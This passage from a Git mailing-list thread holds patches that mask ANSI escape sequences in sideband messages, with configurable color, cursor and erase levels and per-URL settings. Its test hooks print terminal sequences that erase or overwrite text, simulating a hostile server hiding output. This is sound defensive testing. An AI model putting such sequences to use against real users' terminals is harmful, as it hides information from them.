\t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n+static int allow_control_characters;\n+\n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n {\n@@ -38,6 +40,9 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n+\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n+\t\t\t    &allow_control_characters);\n+\n \tif (!git_config_get_string_tmp(key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n \telse if (!git_config_get_string_tmp(\"color.ui\", &value))\n@@ -67,6 +72,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n+\tif (allow_control_characters) {\n+\t\tstrbuf_add(dest, src, n);\n+\t\treturn;\n+\t}\n+\n \tstrbuf_grow(dest, n);\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex f4712f4161..e8067df591 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -106,9 +106,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n+\n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep ! RED decoded\n+\ttest_grep ! RED decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"534100","messageId":"44838acaccc492785e78156cb9a5e2cc9cba20ae.1768602373.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"[PATCH v3 3/5] sideband: do allow ANSI color sequences by default","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-01-16T22:26:11Z","receivedAt":"2026-01-16T22:26:21Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding two commits introduced special handling of the sideband\nchannel to neutralize ANSI escape sequences before sending the payload\nto the terminal, and `sideband.allowControlCharacters` to override that\nbehavior.\n\nHowever, as reported by brian m. carlson, some `pre-receive` hooks that\nare actively used in practice want to color their messages and therefore\nrely on the fact that Git passes them through to the terminal, even\nthough they have no way to determine whether the receiving side can\nactually handle Escape sequences (think e.g. about the practice\nrecommended by Git that third-party applications wishing to use Git\nfunctionality parse the output of Git commands).\n\nIn contrast to other ANSI escape sequences, it is highly unlikely that\ncoloring sequences can be essential tools in attack vectors that mislead\nGit users e.g. by hiding crucial information.\n\nTherefore we can have both: Continue to allow ANSI coloring sequences to\nbe passed to the terminal by default, and neutralize all other ANSI\nEscape sequences.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   | 18 ++++++--\n sideband.c                          | 66 +++++++++++++++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 16 ++++++-\n 3 files changed, 91 insertions(+), 9 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex 3fb5045cd7..b55c73726f 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -1,5 +1,17 @@\n sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n-\tare masked, to prevent potentially unwanted ANSI escape sequences\n-\tfrom being sent to the terminal. Use this config setting to override\n-\tthis behavior.\n+\tare masked, except ANSI color sequences. This prevents potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal. Use\n+\tthis config setting to override this behavior:\n++\n+--\n+\t`default`::\n+\t`color`::\n+\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n+\t\tbut mask all other control characters. This is the default.\n+\t`false`::\n+\t\tMask all control characters other than line feeds and\n+\t\thorizontal tabs.\n+\t`true`::\n+\t\tAllow all control characters to be sent to the terminal.\n+--\ndiff --git a/sideband.c b/sideband.c\nindex 1499587ff6..f4bcdcaf9b 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -25,7 +25,12 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n-static int allow_control_characters;\n+static enum {\n+\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n@@ -40,8 +45,26 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n-\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n-\t\t\t    &allow_control_characters);\n+\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n+\tcase 0: /* Boolean value */\n+\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n+\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n+\t\tbreak;\n+\tcase -1: /* non-Boolean value */\n+\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n+\t\t\t\t\t      &value))\n+\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n+\t\telse if (!strcmp(value, \"default\"))\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (!strcmp(value, \"color\"))\n+\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\tbreak;\n+\tdefault:\n+\t\tbreak; /* not configured */\n+\t}\n \n \tif (!git_config_get_string_tmp(key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n@@ -70,9 +93,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+{\n+\tint i;\n+\n+\t/*\n+\t * Valid ANSI color sequences are of the form\n+\t *\n+\t * ESC [ [<n> [; <n>]*] m\n+\t *\n+\t * These are part of the Select Graphic Rendition sequences which\n+\t * contain more than just color sequences, for more details see\n+\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t */\n+\n+\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n+\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\t\treturn 0;\n+\n+\tfor (i = 2; i < n; i++) {\n+\t\tif (src[i] == 'm') {\n+\t\t\tstrbuf_add(dest, src, i + 1);\n+\t\t\treturn i;\n+\t\t}\n+\t\tif (!isdigit(src[i]) && src[i] != ';')\n+\t\t\tbreak;\n+\t}\n+\n+\treturn 0;\n+}\n+\n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n-\tif (allow_control_characters) {\n+\tint i;\n+\n+\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -81,6 +136,9 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n \t\t\tstrbuf_addch(dest, *src);\n+\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t\tsrc += i;\n+\t\t\tn -= i;\n \t\t} else {\n \t\t\tstrbuf_addch(dest, '^');\n \t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex e8067df591..f34977b332 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -101,7 +101,7 @@ test_expect_success 'fallback to color.ui' '\n \n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n-\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n \texec \"$@\"\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n@@ -109,12 +109,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_must_be_empty actual &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n \ttest_grep ! RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n \n \trm -rf throw-away &&\n \tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep RED decoded\n+\ttest_grep RED decoded &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_file_not_empty actual\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"534099","messageId":"cc578465b9caa00ce4eda879c2d726c8b2fa90e1.1768602373.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"[PATCH v3 4/5] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-01-16T22:26:12Z","receivedAt":"2026-01-16T22:26:22Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nEven though control sequences that erase characters are quite juicy for\nattack scenarios, where attackers are eager to hide traces of suspicious\nactivities, during the review of the side band sanitizing patch series\nconcerns were raised that there might be some legimitate scenarios where\nGit server's `pre-receive` hooks use those sequences in a benign way.\n\nControl sequences to move the cursor can likewise be used to hide tracks\nby overwriting characters, and have been equally pointed out as having\nlegitimate users.\n\nLet's add options to let users opt into passing through those ANSI\nEscape sequences: `sideband.allowControlCharacters` now supports also\n`cursor` and `erase`, and it parses the value as a comma-separated list.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   |  9 ++-\n sideband.c                          | 91 ++++++++++++++++++++++++-----\n t/t5409-colorize-remote-messages.sh | 38 ++++++++++++\n 3 files changed, 123 insertions(+), 15 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex b55c73726f..2bf0426284 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -2,13 +2,20 @@ sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n \tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior:\n+\tthis config setting to override this behavior (the value can be\n+\ta comma-separated list of the following keywords):\n +\n --\n \t`default`::\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\n+\t`cursor:`:\n+\t\tAllow control sequences that move the cursor. This is\n+\t\tdisabled by default.\n+\t`erase`::\n+\t\tAllow control sequences that erase charactrs. This is\n+\t\tdisabled by default.\n \t`false`::\n \t\tMask all control characters other than line feeds and\n \t\thorizontal tabs.\ndiff --git a/sideband.c b/sideband.c\nindex f4bcdcaf9b..a8568b8b64 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -28,9 +28,43 @@ static struct keyword_entry keywords[] = {\n static enum {\n \tALLOW_NO_CONTROL_CHARACTERS  = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n+\tALLOW_ANSI_ERASE             = 1<<2,\n \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\n+static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n+\t\t\t\t     const char **out)\n+{\n+\tif (!skip_prefix(value, prefix, &value) ||\n+\t    (*value && *value != ','))\n+\t\treturn 0;\n+\t*out = value + !!*value;\n+\treturn 1;\n+}\n+\n+static void parse_allow_control_characters(const char *value)\n+{\n+\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\twhile (*value) {\n+\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n+\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n+\t\telse if (skip_prefix_in_csv(value, \"erase\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE;\n+\t\telse if (skip_prefix_in_csv(value, \"true\", &value))\n+\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n+\t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t}\n+}\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n@@ -54,13 +88,8 @@ static int use_sideband_colors(void)\n \t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n \t\t\t\t\t      &value))\n \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse if (!strcmp(value, \"default\"))\n-\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (!strcmp(value, \"color\"))\n-\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\tparse_allow_control_characters(value);\n \t\tbreak;\n \tdefault:\n \t\tbreak; /* not configured */\n@@ -93,7 +122,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n@@ -105,14 +134,47 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int\n \t * These are part of the Select Graphic Rendition sequences which\n \t * contain more than just color sequences, for more details see\n \t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t *\n+\t * The cursor movement sequences are:\n+\t *\n+\t * ESC [ n A - Cursor up n lines (CUU)\n+\t * ESC [ n B - Cursor down n lines (CUD)\n+\t * ESC [ n C - Cursor forward n columns (CUF)\n+\t * ESC [ n D - Cursor back n columns (CUB)\n+\t * ESC [ n E - Cursor next line, beginning (CNL)\n+\t * ESC [ n F - Cursor previous line, beginning (CPL)\n+\t * ESC [ n G - Cursor to column n (CHA)\n+\t * ESC [ n ; m H - Cursor position (row n, col m) (CUP)\n+\t * ESC [ n ; m f - Same as H (HVP)\n+\t *\n+\t * The sequences to erase characters are:\n+\t *\n+\t *\n+\t * ESC [ 0 J - Clear from cursor to end of screen (ED)\n+\t * ESC [ 1 J - Clear from cursor to beginning of screen (ED)\n+\t * ESC [ 2 J - Clear entire screen (ED)\n+\t * ESC [ 3 J - Clear entire screen + scrollback (ED) - xterm extension\n+\t * ESC [ 0 K - Clear from cursor to end of line (EL)\n+\t * ESC [ 1 K - Clear from cursor to beginning of line (EL)\n+\t * ESC [ 2 K - Clear entire line (EL)\n+\t * ESC [ n M - Delete n lines (DL)\n+\t * ESC [ n P - Delete n characters (DCH)\n+\t * ESC [ n X - Erase n characters (ECH)\n+\t *\n+\t * For a comprehensive list of common ANSI Escape sequences, see\n+\t * https://www.xfree86.org/current/ctlseqs.html\n \t */\n \n-\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n-\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\tif (n < 3 || src[0] != '\\x1b' || src[1] != '[')\n \t\treturn 0;\n \n \tfor (i = 2; i < n; i++) {\n-\t\tif (src[i] == 'm') {\n+\t\tif (((allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES) &&\n+\t\t     src[i] == 'm') ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_CURSOR_MOVEMENTS) &&\n+\t\t     strchr(\"ABCDEFGHf\", src[i])) ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_ERASE) &&\n+\t\t     strchr(\"JKMPX\", src[i]))) {\n \t\t\tstrbuf_add(dest, src, i + 1);\n \t\t\treturn i;\n \t\t}\n@@ -127,7 +189,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n-\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n+\tif ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -136,7 +198,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n \t\t\tstrbuf_addch(dest, *src);\n-\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t} else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n+\t\t\t   (i = handle_ansi_sequence(dest, src, n))) {\n \t\t\tsrc += i;\n \t\t\tn -= i;\n \t\t} else {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex f34977b332..c3e4e14362 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -129,4 +129,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_file_not_empty actual\n '\n \n+test_decode_csi() {\n+\tawk '{\n+\t\twhile (match($0, /\\033/) != 0) {\n+\t\t\tprintf \"%sCSI \", substr($0, 1, RSTART-1);\n+\t\t\t$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);\n+\t\t}\n+\t\tprint\n+\t}'\n+}\n+\n+test_expect_success 'control sequences in sideband allowed by default' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit-at-least &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"CSI \\\\[G\" decoded &&\n+\ttest_grep \"\\\\^\\\\[?25l\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=erase,cursor,color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"RED\" decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"CSI \\\\[G\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n+'\n+\n test_done\n-- \ngitgitgadget\n\n"},{"id":"534101","messageId":"f2eb0a758ce44a6025c9d7c06b563876c776e7da.1768602373.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"[PATCH v3 5/5] sideband: offer to configure sanitizing on a per-URL basis","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-01-16T22:26:13Z","receivedAt":"2026-01-16T22:26:23Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe main objection against sanitizing the sideband that was raised\nduring the review of the sideband sanitizing patches, first on the\ngit-security mailing list, then on the public mailing list, was that\nthere are some setups where server-side `pre-receive` hooks want to\nerror out, giving colorful messages to the users on the client side (if\nthey are not redirecting the output into a file, that is).\n\nTo avoid breaking such setups, the default chosen by the sideband\nsanitizing patches is to pass through ANSI color sequences.\n\nStill, there might be some use case out there where that is not enough.\nTherefore the `sideband.allowControlCharacters` config setting allows\nfor configuring  levels of sanitizing.\n\nAs Junio Hamano pointed out, to keep users safe by default, we need to\nbe able to scope this to some servers because while a user may trust\ntheir company's Git server, the same might not apply to other Git\nservers.\n\nTo allow for this, let's imitate the way `http.<url>.*` offers\nto scope config settings to certain URLs, by letting users\noverride the `sideband.allowControlCharacters` setting via\n`sideband.<url>.allowControlCharacters`.\n\nSuggested-by: Junio Hamano <gitster@pobox.com>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   |  4 ++\n sideband.c                          | 81 ++++++++++++++++++++---------\n sideband.h                          | 14 +++++\n t/t5409-colorize-remote-messages.sh | 24 +++++++++\n transport.c                         |  3 ++\n 5 files changed, 102 insertions(+), 24 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex 2bf0426284..32088bbf2f 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -22,3 +22,7 @@ sideband.allowControlCharacters::\n \t`true`::\n \t\tAllow all control characters to be sent to the terminal.\n --\n+\n+sideband.<url>.*::\n+\tApply the `sideband.*` option selectively to specific URLs. The\n+\tsame URL matching logic applies as for `http.<url>.*` settings.\ndiff --git a/sideband.c b/sideband.c\nindex a8568b8b64..a8cd142cd7 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -9,6 +9,7 @@\n #include \"help.h\"\n #include \"pkt-line.h\"\n #include \"write-or-die.h\"\n+#include \"urlmatch.h\"\n \n struct keyword_entry {\n \t/*\n@@ -26,13 +27,14 @@ static struct keyword_entry keywords[] = {\n };\n \n static enum {\n-\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n-\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n-\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n-\tALLOW_ANSI_ERASE             = 1<<2,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n-} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\tALLOW_CONTROL_SEQUENCES_UNSET = -1,\n+\tALLOW_NO_CONTROL_CHARACTERS   = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES    = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n+\tALLOW_ANSI_ERASE              = 1<<2,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n+} allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \t\t\t\t     const char **out)\n@@ -44,8 +46,19 @@ static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \treturn 1;\n }\n \n-static void parse_allow_control_characters(const char *value)\n+int sideband_allow_control_characters_config(const char *var, const char *value)\n {\n+\tswitch (git_parse_maybe_bool(value)) {\n+\tcase 0:\n+\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tcase 1:\n+\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n \t\tif (skip_prefix_in_csv(value, \"default\", &value))\n@@ -61,9 +74,37 @@ static void parse_allow_control_characters(const char *value)\n \t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n \t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\twarning(_(\"unrecognized value for '%s': '%s'\"), var, value);\n \t}\n+\treturn 0;\n+}\n+\n+static int sideband_config_callback(const char *var, const char *value,\n+\t\t\t\t    const struct config_context *ctx UNUSED,\n+\t\t\t\t    void *data UNUSED)\n+{\n+\tif (!strcmp(var, \"sideband.allowcontrolcharacters\"))\n+\t\treturn sideband_allow_control_characters_config(var, value);\n+\n+\treturn 0;\n+}\n+\n+void sideband_apply_url_config(const char *url)\n+{\n+\tstruct urlmatch_config config = URLMATCH_CONFIG_INIT;\n+\tchar *normalized_url;\n+\n+\tif (!url)\n+\t\tBUG(\"must not call sideband_apply_url_config(NULL)\");\n+\n+\tconfig.section = \"sideband\";\n+\tconfig.collect_fn = sideband_config_callback;\n+\n+\tnormalized_url = url_normalize(url, &config.url);\n+\tgit_config(urlmatch_config_entry, &config);\n+\tfree(normalized_url);\n+\tstring_list_clear(&config.vars, 1);\n+\turlmatch_config_release(&config);\n }\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n@@ -79,20 +120,12 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n-\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n-\tcase 0: /* Boolean value */\n-\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n-\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n-\t\tbreak;\n-\tcase -1: /* non-Boolean value */\n-\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n-\t\t\t\t\t      &value))\n-\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse\n-\t\t\tparse_allow_control_characters(value);\n-\t\tbreak;\n-\tdefault:\n-\t\tbreak; /* not configured */\n+\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n+\t\tif (!git_config_get_value(\"sideband.allowcontrolcharacters\", &value))\n+\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n+\n+\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n \t}\n \n \tif (!git_config_get_string_tmp(key, &value))\ndiff --git a/sideband.h b/sideband.h\nindex 5a25331be5..d15fa4015f 100644\n--- a/sideband.h\n+++ b/sideband.h\n@@ -30,4 +30,18 @@ int demultiplex_sideband(const char *me, int status,\n \n void send_sideband(int fd, int band, const char *data, ssize_t sz, int packet_max);\n \n+/*\n+ * Apply sideband configuration for the given URL. This should be called\n+ * when a transport is created to allow URL-specific configuration of\n+ * sideband behavior (e.g., sideband.<url>.allowControlCharacters).\n+ */\n+void sideband_apply_url_config(const char *url);\n+\n+/*\n+ * Parse and set the sideband allow control characters configuration.\n+ * The var parameter should be the key name (without section prefix).\n+ * Returns 0 if the variable was recognized and handled, non-zero otherwise.\n+ */\n+int sideband_allow_control_characters_config(const char *var, const char *value);\n+\n #endif\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex c3e4e14362..1d039cbdaf 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -167,4 +167,28 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n '\n \n+test_expect_success 'allow all control sequences for a specific URL' '\n+\twrite_script .git/eraser <<-\\EOF &&\n+\tprintf \"error: Ohai!\\\\r\\\\033[K\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook 